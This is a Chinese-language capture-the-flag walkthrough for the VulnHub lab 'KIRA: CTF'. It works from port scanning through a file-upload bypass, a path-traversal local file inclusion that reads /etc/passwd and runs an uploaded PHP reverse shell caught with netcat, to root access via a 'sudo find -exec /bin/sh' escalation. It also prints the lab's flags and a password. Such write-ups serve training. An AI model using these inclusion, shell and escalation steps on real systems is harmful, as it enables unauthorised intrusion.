一、前言
主要利用方式:文件上传+本地文件包含+sudo 提权
二、靶机信息
靶场: vulnhub.com
靶机名称:KIRA: CTF
难度: 简单
发布时间: 2020 年 11月04日
下载地址:https://www.vulnhub.com/entry/kira-ctf,594/
备注:此靶场作为CTF练手、安全培训演示,非常适合
本地文件包含,包含了一个假jpg文件,可以正常执行php的反弹shell
三、虚拟机配置
VirtualBox、网络连接模式:NAT模式、DHCP服务:启用、IP地址:自动分配、USB:1.0
四、信息收集
1、探测靶机ip地址
└─$ sudo arp-scan -I eth0 -l
2、探测靶机ip端口及端口具体服务
└─$ sudo nmap -p- 10.0.2.18
└─$ sudo nmap -p22,80 -sV -A 10.0.2.18
3、常规80web端口访问,及路径扫描
└─$ dirsearch -u 10.0.2.18
4、有上传,先上传,
在upload.php 页面上传,直接上传,被reject掉了,提示需要上传图片,绕过三大点,先改后缀为jpg,结果可以上传了,并且返回了upload/prs.jpg
访问:http://10.0.2.18/uploads/prs.jpg,只能是jpg,没办法转成php运行
5、主站页面寻找了一个本地文件包含(LFI)
http://10.0.2.18/language.php?lang=en.php
经过尝试,可以包含本地passwd文件
http://10.0.2.18/language.php?lang=/../../../etc/passwd
五、漏洞利用(突破边界)
6、本地开启本地监听,进行本地包含jpg文件
└─$ nc -lnvp 9999
利用本地包含文件,包含一个prs.php转变成的jpg
http://10.0.2.18/language.php?lang=/../../../var/www/html/uploads/prs.jpg
7、nc反弹shell,突破边界,查看id
8、升级pty,但无权限查看user.txt ,说明还需要撸一个bassam等用户的权限
9、在www的目录下,存在一个特色的文件夹,撸到一个bassam用户的密码
www-data@bassam-aziz:/home/bassam$ cd /var/
www-data@bassam-aziz:/var$ cd www
www-data@bassam-aziz:/var/www$ cd html
www-data@bassam-aziz:/var/www/html$ cd supersecret-for-aziz
www-data@bassam-aziz:/var/www/html/supersecret-for-aziz$ cat bassam-pass.txt
cat bassam-pass.txt
Password123!@#
10、切换bassam用户,获取第一个flag
bassam@bassam-aziz:/var/www/html/supersecret-for-aziz$ cd /home/bassam
bassam@bassam-aziz:~$ cat user.txt
THM{Bassam-Is-Better_Than-KIRA}
六、提权
11、查询可提权的方式,寻:su、sudo、suid等特权文件,
以sudo -l方式就可以发现,任何用户都通过find 来提权
bassam@bassam-aziz:~$ sudo -l
12、通过寻找find提权方式,并执行
https://gtfobins.github.io/gtfobins/find/
bassam@bassam-aziz:~$ sudo find . -exec /bin/sh ; -quit
sudo find . -exec /bin/sh ; -quit
id
id
uid=0(root) gid=0(root) groups=0(root)
13、查找root的flag及获取IP
cd /root
cat flag.txt
THM{root-Is_Better-Than_All-of-THEM-31337}